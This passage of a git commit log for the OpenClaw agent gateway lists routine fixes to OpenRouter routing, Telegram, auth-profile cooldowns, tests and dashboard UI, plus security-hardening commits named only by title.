ad1072842e test: dedupe agent tests and session helpers 2026-02-22 17:11:54 +00:00
Mitsuyuki Osabe
415686244a feat: pass through OpenRouter provider routing params (#17148)
extraParams.provider was silently dropped by createStreamFnWithExtraParams().
This change injects it into model.compat.openRouterRouting so pi-ai's
buildParams includes params.provider in the API request body.

Enables OpenRouter provider routing options (only, order, allow_fallbacks,
data_collection, ignore, sort, quantizations) via model config:

```jsonc
"openrouter/model-name": {
  "params": {
    "provider": {
      "only": ["deepinfra", "fireworks"],
      "allow_fallbacks": false
    }
  }
}
```

Closes #10869

✍️ Author: Claude Code with @carrotRakko (AI-written, human-approved)
2026-02-22 12:11:04 -05:00
Vincent Koc
3254c72d4b Update CHANGELOG.md 2026-02-22 12:09:19 -05:00
Omair Afzal
3891ba4bb5 fix(providers): preserve openrouter/ prefix for native models (#12942)
* fix(providers): preserve openrouter/ prefix for native models (#12924)

OpenRouter-native models like 'openrouter/aurora-alpha' need the full
'openrouter/<name>' as the model ID in API requests. The existing
parseModelRef() stripped the prefix, sending just 'aurora-alpha'
which OpenRouter rejects with 400.

Fix: normalizeProviderModelId() now re-adds the 'openrouter/' prefix
for models without a slash (native models), while passing through
external provider models (e.g. 'anthropic/claude-sonnet-4-5') as-is.

Closes #12924

* Changelog: add OpenRouter note for #12942

---------

Co-authored-by: Luna AI <luna@coredirection.ai>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 12:08:46 -05:00
Dan Dodson
4cad674387 fix: preserve stored provider in resolveSessionModelRef for vendor-prefixed models (#22753)
* fix: preserve stored provider in resolveSessionModelRef for vendor-prefixed models

When an OpenRouter model with a vendor prefix (e.g. "anthropic/claude-haiku-4.5")
was successfully used and persisted to the session entry, the next call to
resolveSessionModelRef would re-parse the model string through parseModelRef,
which splits on the first slash and incorrectly extracts "anthropic" as the
provider — discarding the stored "openrouter" provider entirely. This caused
subsequent requests to attempt direct Anthropic API calls with an OpenRouter
API key, producing "credit balance too low" billing errors.

The fix trusts the explicitly stored modelProvider on the session entry and
skips parseModelRef re-parsing when a provider is already recorded. parseModelRef
is still used as a fallback when no provider is stored on the entry.

Co-authored-by: Cursor <cursoragent@cursor.com>

* Changelog: add OpenRouter note for #22753

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 12:07:33 -05:00
Peter Steinberger
91cb28ecef perf(test): speed temp-path AST scan 2026-02-22 17:06:35 +00:00
Peter Steinberger
572daed456 test: trim duplicate async-search status reopen check 2026-02-22 17:06:35 +00:00
Peter Steinberger
35fecc4bee test: remove redundant runner ordering checks 2026-02-22 17:06:35 +00:00
Peter Steinberger
e38196d42c test: trim duplicate program smoke onboarding coverage 2026-02-22 17:06:35 +00:00
Peter Steinberger
c6b94f2652 test: speed up skills download tar traversal fixture 2026-02-22 17:06:35 +00:00
Peter Steinberger
bd6be417e4 test: trim duplicate smoke and embedded runner cases 2026-02-22 17:06:35 +00:00
Peter Steinberger
ee7a43b895 test: replace slow gateway SIGTERM integration coverage 2026-02-22 17:06:35 +00:00
Peter Steinberger
d01cc69ef0 test: tighten process timeout fixtures 2026-02-22 17:06:35 +00:00
Peter Steinberger
b1a97e77ca test: tighten bash timeout poll upper bound 2026-02-22 17:06:35 +00:00
Peter Steinberger
c5904da85a test: trim bash tool timing constants 2026-02-22 17:06:35 +00:00
Peter Steinberger
c23cdf67d7 test: speed up qmd boot retry lock test 2026-02-22 17:06:35 +00:00
Peter Steinberger
68b9b44498 test: reduce bash background abort wait constants 2026-02-22 17:06:35 +00:00
Peter Steinberger
dd4495e23a test: optimize temp path guard scan prefilter 2026-02-22 17:06:35 +00:00
Peter Steinberger
7bf719fe85 test: narrow weak-random rg scan globs 2026-02-22 17:06:35 +00:00
Peter Steinberger
7626503965 test: reduce web auto-reply watchdog timer churn 2026-02-22 17:06:35 +00:00
Peter Steinberger
089ee242bc test: precompute skills download tar fixture and dedupe setup 2026-02-22 17:06:35 +00:00
Peter Steinberger
2b74e5f66d test: reduce bash tool suite sleep durations 2026-02-22 17:06:35 +00:00
Peter Steinberger
47514e35a2 test: dedupe pi embedded runner setup and orphan case 2026-02-22 17:06:35 +00:00
Peter Steinberger
f3ba3fe8dc test: isolate skills-install temp home env 2026-02-22 17:06:35 +00:00
Peter Steinberger
992fc9cf4e test: trim cli program test bootstrap overhead 2026-02-22 17:06:35 +00:00
Peter Steinberger
3046fa31e8 test: isolate skills suite env and trim scan overhead 2026-02-22 17:06:35 +00:00
Peter Steinberger
6cdeb62a01 test: trim gateway sigterm bootstrap imports 2026-02-22 17:06:35 +00:00
Peter Steinberger
407f7017ec test: cache plugin install archive fixtures 2026-02-22 17:06:35 +00:00
Peter Steinberger
1d2f305117 style: format skills install download test 2026-02-22 17:06:35 +00:00
Peter Steinberger
6cd12ca1ce test: merge download archive safety suites 2026-02-22 17:06:35 +00:00
Peter Steinberger
07514361d7 test: speed up weak random guardrail scan 2026-02-22 17:06:35 +00:00
Peter Steinberger
13d3758efd test: preload doctor command in migration suites 2026-02-22 17:06:34 +00:00
Peter Steinberger
c42b0b2dfc test: preload sandbox explain command module in suite 2026-02-22 17:06:34 +00:00
Peter Steinberger
0b13a0286e test: preload bash exec path tool module in suite 2026-02-22 17:06:34 +00:00
Peter Steinberger
6042075bdf test: preload safe-bins tool module in suite 2026-02-22 17:06:34 +00:00
Peter Steinberger
71747a7688 test: preload onboarding command modules in hot suites 2026-02-22 17:06:34 +00:00
Peter Steinberger
b6ac0eef5d test: trim gateway fixture sizes and preload message command 2026-02-22 17:06:34 +00:00
Peter Steinberger
8cc744ef1f fix(logging): cap file logs with configurable maxFileBytes
Co-authored-by: Xinhua Gu <562450+xinhuagu@users.noreply.github.com>
2026-02-22 17:58:51 +01:00
Peter Steinberger
795db98f6a fix(telegram): notify users on media download failures
Co-authored-by: Artale <117890364+arosstale@users.noreply.github.com>
2026-02-22 17:54:16 +01:00
Peter Steinberger
d0e6763263 fix(telegram): wire webhookPort through config and startup
Co-authored-by: xrf9268-hue <244283935+xrf9268-hue@users.noreply.github.com>
2026-02-22 17:54:16 +01:00
Peter Steinberger
5069250faf fix(telegram): clear webhook state before polling startup
Co-authored-by: Peter Machona <7957943+chilu18@users.noreply.github.com>
2026-02-22 17:54:16 +01:00
Peter Steinberger
81384daeb4 fix(telegram): harden polling retry setup and teardown order
Co-authored-by: Cklee <99405438+liebertar@users.noreply.github.com>
Co-authored-by: Ho Lim <166576253+HOYALIM@users.noreply.github.com>
2026-02-22 17:54:16 +01:00
Peter Steinberger
1a9b5840d2 fix(telegram): keep webhook monitor alive until abort
Co-authored-by: Evgeny Zislis <7056+kesor@users.noreply.github.com>
2026-02-22 17:54:16 +01:00
Peter Steinberger
e58054b85c docs(telegram): align Node22 network defaults and setup guidance 2026-02-22 17:54:16 +01:00
Peter Steinberger
e9ed688c2c fix(net): enable family fallback for pinned SSRF dispatcher 2026-02-22 17:54:15 +01:00
Peter Steinberger
4d0ca7c315 fix(telegram): restart stalled polling after unhandled network errors 2026-02-22 17:54:15 +01:00
Peter Steinberger
824d1e095b fix(infra): treat undici fetch failed as transient unhandled rejection 2026-02-22 17:54:15 +01:00
Peter Steinberger
dbc1ed8933 fix(update): run auto-update via runtime argv and keep it independent of checkOnStart 2026-02-22 17:41:05 +01:00
Vincent Koc
35b162af76 Memory: add Spanish and Portuguese query expansion stop words (#23710) 2026-02-22 11:26:12 -05:00
Peter Steinberger
f14ebd743c refactor(security): unify local-host and tailnet CIDR checks 2026-02-22 17:20:27 +01:00
Vincent Koc
21cbf59509 feat(memory): add Japanese query expansion support for FTS (#23156)
* Memory: add Japanese query expansion support

* Docs/Changelog: credit Japanese FTS update
2026-02-22 11:19:20 -05:00
Peter Steinberger
f442a3539f feat(update): add core auto-updater and dry-run preview 2026-02-22 17:11:36 +01:00
Nikolay Petrov
13690d406a Telegram: coalesce forwarded text+media bursts into one inbound turn (#19476)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 09e0b4e9bd
Co-authored-by: napetrov <18015221+napetrov@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 21:41:09 +05:30
Peter Steinberger
333fbb8634 refactor(net): consolidate IP checks with ipaddr.js 2026-02-22 17:02:44 +01:00
Marcus Castro
337eef55d7 fix(telegram): link forwarded messages with comments (#9720)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 5f81061b5f
Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 21:23:56 +05:30
Peter Steinberger
40a68a8936 docs: add concise gh search playbook to AGENTS 2026-02-22 16:41:17 +01:00
Ayaan Zaidi
6268ed57ea fix(agents): stop param shadowing in auth failure marker 2026-02-22 21:00:17 +05:30
Marcus Castro
ace8357149 fix(telegram): skip failed photo downloads in media group instead of dropping entire group (#20598)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4a9c5f7af7
Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 20:57:06 +05:30
Peter Steinberger
9363c320d8 fix(security): harden shell env fallback startup env handling 2026-02-22 16:06:27 +01:00
Peter Steinberger
ab1840b881 docs(changelog): credit SSRF report in unreleased notes 2026-02-22 16:02:49 +01:00
Peter Steinberger
a0d0104a86 test: speed up signal reconnect and temp path guard scans 2026-02-22 14:44:19 +00:00
Peter Steinberger
142c0a7f7d refactor: extract gateway transcript append helper 2026-02-22 14:44:19 +00:00
Peter Steinberger
8e6b465fa8 test: speed up agent command suite with lightweight runtime mocks 2026-02-22 14:44:19 +00:00
Peter Steinberger
1cf8f41134 test: dedupe expensive web auto-reply compression coverage 2026-02-22 14:44:19 +00:00
Peter Steinberger
d0b59270a7 refactor: dedupe auth-profile failure marking and rotation test setup 2026-02-22 15:44:10 +01:00
Peter Steinberger
44dfbd23df fix(ssrf): centralize host/ip block checks 2026-02-22 15:41:41 +01:00
Peter Steinberger
39be5e44df refactor: split config reload flow and test harness 2026-02-22 15:38:23 +01:00
Glucksberg
53adae9cec fix(telegram): add dnsResultOrder=ipv4first default on Node 22+ to fix fetch failures (#5405)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 71366e9532
Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 20:07:51 +05:30
Peter Steinberger
4e65e61612 fix: retry missing config snapshots before skip (#23343) (thanks @lbo728) 2026-02-22 15:34:46 +01:00
lbo728
aaa9bd0f1c fix(config-reload): skip reload when config file is not found
When a config file is written atomically (tmp → rename), chokidar can
fire an 'unlink' event for the temporary removal of the destination file
before the rename completes. runReload() would then call readSnapshot(),
which returns { exists: false, valid: true, config: {} } — an empty
config that looks valid — causing diffConfigPaths() to find many changes
and triggering an unnecessary SIGUSR1 restart.

The restarted gateway process then fails to find the config file (still
in the middle of the write) and enters a crash loop with:
  'Missing config. Run openclaw setup...'

Fix: guard against exists=false before the existing valid=false check,
so mid-write snapshots are silently skipped rather than treated as a
config wipe.

Fixes #23321
2026-02-22 15:34:46 +01:00
Peter Steinberger
3e2849c578 fix: align timeout cooldown behavior docs/tests (#22622) (thanks @vageeshkumar) 2026-02-22 15:34:20 +01:00
Vageesh Kumar
71d0b86352 fix(agents): skip auth profile cooldown for timeout failures
A timeout is model/network-specific, not an auth issue. Marking the
auth profile as failed on timeout poisons fallback models on the same
provider (e.g. gpt-5.3 timeout would block gpt-5.2 via shared profile
cooldown). The prompt-phase path already guards against this; this
aligns the post-response timeout path to match.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-22 15:34:20 +01:00
Val Alexander
c5be45dfd2 test: skip CLI auto-detect e2e tests on Windows (#23626) 2026-02-22 08:31:40 -06:00
Peter Steinberger
4c355a28a3 refactor: centralize tool-error visibility policy 2026-02-22 15:30:53 +01:00
Peter Steinberger
ac3ac6a83a refactor(signal): extract rpc parse helper and validate response envelope 2026-02-22 15:29:56 +01:00
Peter Steinberger
a5e2bd4eaa docs: document verbose-gated tool error details 2026-02-22 15:26:48 +01:00
Peter Steinberger
835be4392e fix: gate tool error details behind verbose 2026-02-22 15:26:47 +01:00
Peter Steinberger
184844e50c fix: add signal rpc malformed-json regression test (#22995) (thanks @adhitShet) 2026-02-22 15:23:37 +01:00
adhitShet
4b78e91acd fix(signal): guard JSON.parse of Signal RPC response with try-catch
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-22 15:23:37 +01:00
Peter Steinberger
7d7297f57f fix: downgrade telegram autoSelectFamily log to debug 2026-02-22 15:21:23 +01:00
Peter Steinberger
f5ede0f2bd test: stabilize acp cwd prefix assertions across env leakage 2026-02-22 14:18:44 +00:00
Peter Steinberger
b0a8b3bebb test: share fast-path mocks for targeted doctor suites 2026-02-22 14:18:44 +00:00
Peter Steinberger
2c0b72acb8 test: speed up slow media and synology suites 2026-02-22 14:18:44 +00:00
Peter Steinberger
32c33f4faa test: isolate doctor allowFrom migration assertions from unrelated checks 2026-02-22 14:18:44 +00:00
tyler
9b23e5ce1f test: fix flaky auth tests when OPENCLAW_GATEWAY_TOKEN is present 2026-02-22 15:17:37 +01:00
Peter Steinberger
9f2b25426b test(core): increase coverage for sessions, auth choice, and model listing 2026-02-22 14:08:51 +00:00
Peter Steinberger
d116bcfb14 refactor(runtime): consolidate followup, gateway, and provider dedupe paths 2026-02-22 14:08:51 +00:00
Peter Steinberger
38752338dc refactor(tui): dedupe handlers and formatter test setup 2026-02-22 14:08:51 +00:00
Peter Steinberger
66f814a0af refactor(channels): dedupe plugin routing and channel helpers 2026-02-22 14:08:51 +00:00
Peter Steinberger
7abae052f9 chore(skills): remove bundled food-order skill 2026-02-22 15:06:27 +01:00
Val Alexander
e697ec273a UI: polish dashboard — agents overview, chat toolbar, debug & login UX (#23553)
* UI: polish dashboard — agents overview, chat toolbar, debug simplification, login UX

* fix(ui): restore chat draft ordering, remove extra toolbar buttons

* UI: replace agent avatar fallback with lobster emoji

* style(ui): update layout styles for sidebar and shell, adjusting navigation widths for improved responsiveness

* feat(ui): implement sidebar resizing functionality and enhance navigation with new search and sorting features for sessions

* fix(ui): update references from ClawDash to OpenClaw in checklist and dashboard header

* style(ui): adjust sidebar minimum width and add responsive behavior for narrow states

* UI: minimal chat agent bar — remove sessions panel, strip chrome

* style(ui): update light theme colors and add ambient gradient for Luxe Cream & Coral

* UI: replace sparkle with OpenClaw lobster logo in chat

* style(ui): rename theme toggle to theme select and update related styles; adjust layout and spacing for agents and chat components

* style(ui): enhance agents panel layout with grid system, update toolbar styles, and refine usage chart presentation

* style(ui): adjust sessions table column width and refine agent model fields layout for better responsiveness

* style(ui): refine component styles for improved layout and responsiveness; adjust gradients, spacing, and element alignment across chat and agent interfaces

* ui: align chat-controls session container

* ui: enlarge agent controls for better touch targets

* ui: pass basePath to avatar renderer in grouped chat

* ui: formatting fixups from pre-commit hooks

* style(ui): update layout and spacing for chat controls; enhance select component styles and improve responsiveness

* UI: tighten chat header spacing and icon sizes

* UI: widen chat attachment gap

* style(ui): refine chat header layout and adjust icon sizes for improved visual consistency

* style(ui): enhance component styles and layout; introduce new inline field styles, update overview card design, and improve session filters for better usability

* style(ui): improve CSS formatting and consistency across components; adjust gradients, spacing, and layout for better readability and visual appeal

* fix(ui): correct rendering of empty state in overview cards by replacing 'nothing' with an empty string
2026-02-22 07:56:17 -06:00
Peter Steinberger
e578e8379c fix: align agent panel UI props after merge 2026-02-22 13:47:31 +00:00
Peter Steinberger
013299b001 perf: lazy-load non-interactive onboarding heavy paths 2026-02-22 13:47:25 +00:00
Peter Steinberger
adfbbcf1f6 chore: merge origin/main into main 2026-02-22 13:42:52 +00:00
Peter Steinberger
06d93cc12c test: dedupe doctor routing allowFrom migration coverage 2026-02-22 13:41:00 +00:00
Peter Steinberger
1becebe188 fix: harden session lock contention and cleanup 2026-02-22 13:40:55 +00:00
Val Alexander
3ea3184efe refactor(ui): implement agent avatar resolution and logo fallback in agent rendering 2026-02-22 07:39:54 -06:00
Val Alexander
284961108a style(ui): update component styles with spacing, padding, and typography adjustments for improved layout 2026-02-22 07:39:54 -06:00
Val Alexander
fb577d2482 style(ui): refine layout styles with adjustments to spacing, padding, and typography 2026-02-22 07:39:53 -06:00
Onur Solmaz
f39a66de27 docs: make subagents thread guidance channel-first (#23589) (thanks @osolmaz) 2026-02-22 14:39:40 +01:00
Onur
3308c86002 docs: keep channel names only in thread-support list 2026-02-22 14:39:40 +01:00
Onur
418e4e32c9 docs: clarify thread-bound subagents are Discord-only 2026-02-22 14:39:40 +01:00
Onur
c952334808 docs: list thread supporting channels in subagents guide 2026-02-22 14:39:40 +01:00
Onur
0b9b9d4301 docs: make subagents thread guidance channel-first 2026-02-22 14:39:40 +01:00
Peter Steinberger
648d2daf67 test: drop duplicate timeout-fallback e2e and trim onboarding auth overlap 2026-02-22 13:33:40 +00:00
Peter Steinberger
7a2b05314a test: speed up onboarding provider auth and temp-path guard scans 2026-02-22 13:24:59 +00:00
Peter Steinberger
494bb685f8 test: merge signal typing-read-receipt coverage into inbound contract suite 2026-02-22 13:24:53 +00:00
Peter Steinberger
a395479d8b test: merge signal sender-prefix coverage into typing suite 2026-02-22 13:12:57 +00:00
Peter Steinberger
83597572df test: speed up thread-bindings shared-state loader test 2026-02-22 13:09:59 +00:00
Peter Steinberger
d236ded43f test: speed up non-interactive gateway onboarding suite 2026-02-22 13:08:34 +00:00
Peter Steinberger
9e868dcf5a test: remove redundant channels smoke parse case 2026-02-22 12:56:18 +00:00
Peter Steinberger
5e62d0105b test: trim smoke duplicates and reuse telegram bot setup 2026-02-22 12:55:27 +00:00
Peter Steinberger
27053826e5 test: close bootstrap ws in approval bypass suite 2026-02-22 12:55:22 +00:00
Peter Steinberger
83a2926328 test: align remaining trigger configs with fast harness defaults 2026-02-22 12:43:10 +00:00
Peter Steinberger
829236afa7 test: reuse trigger harness defaults in custom configs 2026-02-22 12:41:37 +00:00
Peter Steinberger
2c40a20737 test: trim background hold duration in abort coverage 2026-02-22 12:38:57 +00:00
Peter Steinberger
00eb2541dc test: shorten idle child timers in timeout assertions 2026-02-22 12:37:49 +00:00
Peter Steinberger
5b23159c4c test: create homedir before sandbox image mkdtemp 2026-02-22 12:35:38 +00:00
Peter Steinberger
96515a5729 test: merge duplicate read-tool content coverage cases 2026-02-22 12:32:05 +00:00
Peter Steinberger
22ff83c3cf test: remove fixed delay from cron concurrency assertion 2026-02-22 12:30:43 +00:00
Peter Steinberger
c8a4977378 test: replace mtime sleep with explicit utimes bump 2026-02-22 12:29:53 +00:00
Peter Steinberger
8e29160eaa test: remove fixed waits from tool-result ordering tests 2026-02-22 12:29:08 +00:00
Peter Steinberger
dc356ae1c2 test: remove duplicate workspace path-resolution case 2026-02-22 12:27:55 +00:00
Peter Steinberger
c7a4346e4d test: remove sharp dependency from read-tool metadata test 2026-02-22 12:27:10 +00:00
Peter Steinberger
60a0291bf8 test: dedupe workspace path-resolution scenarios 2026-02-22 12:25:57 +00:00
Peter Steinberger
07527e22ce refactor(auth-profiles): centralize active-window logic + strengthen regression coverage 2026-02-22 13:23:19 +01:00
Peter Steinberger
c61c9e121a test: relax node connect challenge timeout in approval suite 2026-02-22 12:22:53 +00:00
Peter Steinberger
1152b25866 fix(gateway): guard trim crashes in subagent flow 2026-02-22 13:21:26 +01:00
Val Alexander
52d1ece262 style(ui): enhance agent model layout with margin adjustments and flexbox for actions 2026-02-22 06:21:12 -06:00
Val Alexander
1c86a1b337 refactor(ui): simplify agent overview component by removing unused identity fields and enhancing fallback display 2026-02-22 06:21:12 -06:00
Peter Steinberger
eec3182cbb fix(utils): guard resolveUserPath for missing workspace input 2026-02-22 13:19:25 +01:00
Peter Steinberger
0d0f4c6992 refactor(exec): centralize safe-bin policy checks 2026-02-22 13:18:25 +01:00
Peter Steinberger
3a6e0e70f6 test: make gateway connectReq timeout configurable 2026-02-22 12:18:21 +00:00
Peter Steinberger
89e2928204 test: speed up trigger harness queue defaults 2026-02-22 12:18:15 +00:00
Peter Steinberger
dc6440b9f3 test: harden claude usage fallback assertions 2026-02-22 12:18:10 +00:00
Peter Steinberger
bcad4f67a2 fix(gateway): unify listen startup log across bind hosts 2026-02-22 13:17:25 +01:00
Artale
51e9c54f09 fix(agents): skip bootstrap files with undefined path (#22698)
* fix(agents): skip bootstrap files with undefined path

buildBootstrapContextFiles() called file.path.replace() without checking
that path was defined. If a hook pushed a bootstrap file using 'filePath'
instead of 'path', the function threw TypeError and crashed every agent
session — not just the misconfigured hook.

Fix: add a null-guard before the path.replace() call. Files with undefined
path are skipped with a warning so one bad hook can't take down all agents.

Also adds a test covering the undefined-path case.

Fixes #22693

* fix: harden bootstrap path validation and report guards (#22698) (thanks @arosstale)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-22 13:17:07 +01:00
Val Alexander
45d7776697 fix(ui): update topbar styles for improved layout and active state 2026-02-22 06:14:53 -06:00
Val Alexander
7ba970938e fix(ui): add label for stream mode in app render 2026-02-22 06:14:53 -06:00
Peter Steinberger
d2542d9d37 chore(gateway): cover denied notifyOnExit path and clarify help 2026-02-22 13:14:08 +01:00
zerone0x
6fde581a25 test(node): add coverage for notifyOnExit=false suppressing exec events 2026-02-22 13:14:07 +01:00
zerone0x
0f7b259cca fix(node): respect tools.exec.notifyOnExit for node exec events
Node exec events (exec.started, exec.finished, exec.denied) now check
the tools.exec.notifyOnExit config setting before generating system
event notifications. When notifyOnExit is false, all node exec event
notifications are suppressed.

This makes node exec behavior consistent with gateway exec, which
already respects this setting.

Fixes #20193

Co-Authored-By: Claude <noreply@anthropic.com>
2026-02-22 13:14:07 +01:00
Peter Steinberger
7c3c406a35 fix: keep auth-profile cooldown windows immutable in-window (#23536) (thanks @arosstale) 2026-02-22 13:14:02 +01:00
artale
dc69610d51 fix(auth-profiles): never shorten cooldown deadline on retry
When the backoff saturates at 60 min and retries fire every 30 min
(e.g. cron jobs), each failed request was resetting cooldownUntil to
now+60m.  Because now+60m < existing deadline, the window kept getting
renewed and the profile never recovered without manually clearing
usageStats in auth-profiles.json.

Fix: only write a new cooldownUntil (or disabledUntil for billing) when
the new deadline is strictly later than the existing one.  This lets the
original window expire naturally while still allowing genuine backoff
extension when error counts climb further.

Fixes #23516

[AI-assisted]
2026-02-22 13:14:02 +01:00
Val Alexander
bec059f7b2 fix(ui): ensure correct draft value in chat input handling 2026-02-22 06:11:24 -06:00
Peter Steinberger
376eb6e99b docs(changelog): note safe-bin profile hardening 2026-02-22 13:03:05 +01:00
Peter Steinberger
47c3f742b6 fix(exec): require explicit safe-bin profiles 2026-02-22 12:58:55 +01:00
Peter Steinberger
c7ff12ef29 fix: use effective home for legacy zai auth fallback 2026-02-22 11:58:14 +00:00
Peter Steinberger
09017b77a2 test: tighten e2e runner defaults 2026-02-22 11:58:07 +00:00
Peter Steinberger
760ad5dfb3 test: move local integration suites out of e2e 2026-02-22 11:54:01 +00:00
Peter Steinberger
99f05ba258 test: move gateway sigterm suite out of e2e 2026-02-22 11:53:03 +00:00
Peter Steinberger
5ffcc4b735 test: fix logger stub typing in directive-tags test 2026-02-22 11:52:18 +00:00
Peter Steinberger
5636e6257c test: make gateway sigterm e2e node25-compatible 2026-02-22 11:51:43 +00:00
Val Alexander
d055b948fb fix(ui): stop auth failure reconnect loop, surface login gate 2026-02-22 05:51:15 -06:00
Val Alexander
79ae8148f7 fix(ui): stop reconnect loop on auth failure, surface login gate 2026-02-22 05:51:06 -06:00
Peter Steinberger
9f80ac47ee test: move sessions_send suite out of e2e 2026-02-22 11:50:22 +00:00
Peter Steinberger
3f0ab76422 test: stabilize remaining e2e gateway suites 2026-02-22 11:48:53 +00:00
Peter Steinberger
aa14835607 test: reclassify gateway local suites from e2e 2026-02-22 11:48:46 +00:00
Peter Steinberger
e80c803fa8 fix(security): block shell env allowlist bypass in system.run 2026-02-22 12:47:05 +01:00
Peter Steinberger
d5bb9f026e fix: add changelog entry for remote ws onboarding hardening (#23476) (thanks @bmendonca3) 2026-02-22 12:46:20 +01:00
Brian Mendonca
8a3d04c19c Gateway UX: harden remote ws guidance and onboarding defaults 2026-02-22 12:46:20 +01:00
Peter Steinberger
6fda04e938 refactor: tighten onboarding dmScope typing and docs links 2026-02-22 12:46:09 +01:00
Peter Steinberger
29cc7f431f test: share runtime scan filters and cached test scans 2026-02-22 12:44:44 +01:00
Peter Steinberger
6dd36a6b77 refactor(channels): reuse runtime group policy helpers 2026-02-22 12:44:23 +01:00
Val Alexander
13944f773f UI: use gateway token for login gate auth 2026-02-22 05:40:35 -06:00
Peter Steinberger
3a65e4b523 test: make snapshot env override assertion independent of host env 2026-02-22 12:40:30 +01:00
Peter Steinberger
65dccbdb4b fix: document onboarding dmScope default as breaking change (#23468) (thanks @bmendonca3) 2026-02-22 12:36:49 +01:00
Brian Mendonca
8f0b2b84e7 Onboarding: default dmScope to per-channel-peer 2026-02-22 12:36:49 +01:00
Peter Steinberger
85e5ed3f78 refactor(channels): centralize runtime group policy handling 2026-02-22 12:35:41 +01:00
Peter Steinberger
a4607277a9 test: consolidate sessions_spawn and guardrail helpers 2026-02-22 12:34:55 +01:00
Peter Steinberger
62ddc1ef7a test: move gateway client watchdog suite out of e2e 2026-02-22 11:34:50 +00:00
Val Alexander
59191474eb docs(ui): update checklist for 5-theme setup 2026-02-22 05:34:42 -06:00
Val Alexander
1e4e24852a UI: remove OpenAI/Ember theme, reduce to 5 themes 2026-02-22 05:34:42 -06:00
Peter Steinberger
38cd30836d test: reclassify openresponses parity suite 2026-02-22 11:34:15 +00:00
Peter Steinberger
868c0e4c56 test: move gateway server integration suites out of e2e 2026-02-22 11:33:27 +00:00
Peter Steinberger
6c61616d51 test: move gateway rpc/local suites out of e2e 2026-02-22 11:31:42 +00:00
Peter Steinberger
7fdf54f078 test: move cli local suites out of e2e 2026-02-22 11:30:29 +00:00
Peter Steinberger
0a758dc710 test(cron): improve fire-and-forget harness coverage 2026-02-22 11:29:31 +00:00
Peter Steinberger
c343132dbb fix(agents): harden bash tool and reply directive handling 2026-02-22 11:29:31 +00:00
Peter Steinberger
a4981efae3 fix(discord): improve outbound send consistency 2026-02-22 11:29:31 +00:00
Peter Steinberger
0f989d3109 fix(gateway): tighten openai-http edge handling 2026-02-22 11:29:31 +00:00
Peter Steinberger
05358173da fix(line): harden outbound send behavior 2026-02-22 11:29:31 +00:00
Peter Steinberger
32a1273d82 refactor(onboarding): dedupe channel allowlist flows 2026-02-22 11:29:31 +00:00
Peter Steinberger
49648daec0 fix(zalouser): normalize send and onboarding flows 2026-02-22 11:29:31 +00:00
Peter Steinberger
5c7ab8eae3 test(zalo): broaden webhook monitor coverage 2026-02-22 11:29:31 +00:00
Peter Steinberger
081ab9c99d fix(voice-call): tighten manager outbound behavior 2026-02-22 11:29:31 +00:00
Peter Steinberger
8c1afc4b63 fix(msteams): improve graph user and token parsing 2026-02-22 11:29:31 +00:00
Peter Steinberger
e80c66a571 fix(mattermost): refine probe and onboarding flows 2026-02-22 11:29:31 +00:00
Peter Steinberger
0a421d7409 test(line): improve logout scenario coverage 2026-02-22 11:29:31 +00:00
Peter Steinberger
5574eb6b35 fix(feishu): harden onboarding and webhook validation 2026-02-22 11:29:31 +00:00
Peter Steinberger
9e6125ea2f test(discord): stabilize subagent hook coverage 2026-02-22 11:29:31 +00:00
Peter Steinberger
5056f4e142 fix(bluebubbles): tighten chat target handling 2026-02-22 11:29:31 +00:00
Peter Steinberger
b36e7da07d test: move non-interactive onboarding suites out of e2e 2026-02-22 11:29:13 +00:00
Peter Steinberger
4c6e7c4fe0 test: reclassify agent command suite out of e2e 2026-02-22 11:28:45 +00:00
Peter Steinberger
50c7aef22f test: stabilize session lock tests and move out of e2e 2026-02-22 11:28:20 +00:00
Peter Steinberger
ad404c9626 fix: align markdown code renderer with marked token typing 2026-02-22 12:27:48 +01:00
Val Alexander
944d2b826c docs(ui): add dashboard verification checklist 2026-02-22 05:26:57 -06:00
Peter Steinberger
9f2444314d test: stabilize agent embedded-run mocks 2026-02-22 11:25:59 +00:00
Peter Steinberger
26763d1910 fix: resolve extension type errors and harden probe mocks 2026-02-22 12:25:58 +01:00
Val Alexander
3bbbe33a1b UI: gateway dashboard with glassmorphism theme system
Add a full-featured gateway dashboard UI built on Lit web components.

Shell & plumbing:
- App shell with router, controllers, and dependency wiring
- Login gate, i18n keys, and base layout scaffolding

Styles & theming:
- Base styles, chat styles, and responsive layout CSS
- 6-theme glassmorphism system (Obsidian, Aurora, Solar, etc.)
- Glass card, glass panel, and glass input components
- Favicon logo in expanded sidebar header

Views & features:
- Overview with attention cards, event log, quick actions, and log tail
- Chat view with markdown rendering, tool-call collapse, and delete support
- Command palette with fuzzy search
- Agent overview with config display, slash commands, and sidebar filtering
- Session list navigation and agent selector

Privacy & polish:
- Redact toggle with stream-mode default
- Blur host/IP in Connected Instances with reveal toggle
- Sensitive config value masking with count badge
- Card accent borders, hover lift effects, and responsive grid
2026-02-22 05:24:54 -06:00
Peter Steinberger
401106b963 fix: harden flaky tests and cover native google thought signatures (#23457) (thanks @echoVic) 2026-02-22 12:24:53 +01:00
echoVic
9176571ec1 fix(gemini): sanitize thoughtSignatures for native Google provider
Native Google Gemini provider was accumulating 2K-8K tokens of Base64
thoughtSignature blobs per turn, causing premature context overflow.

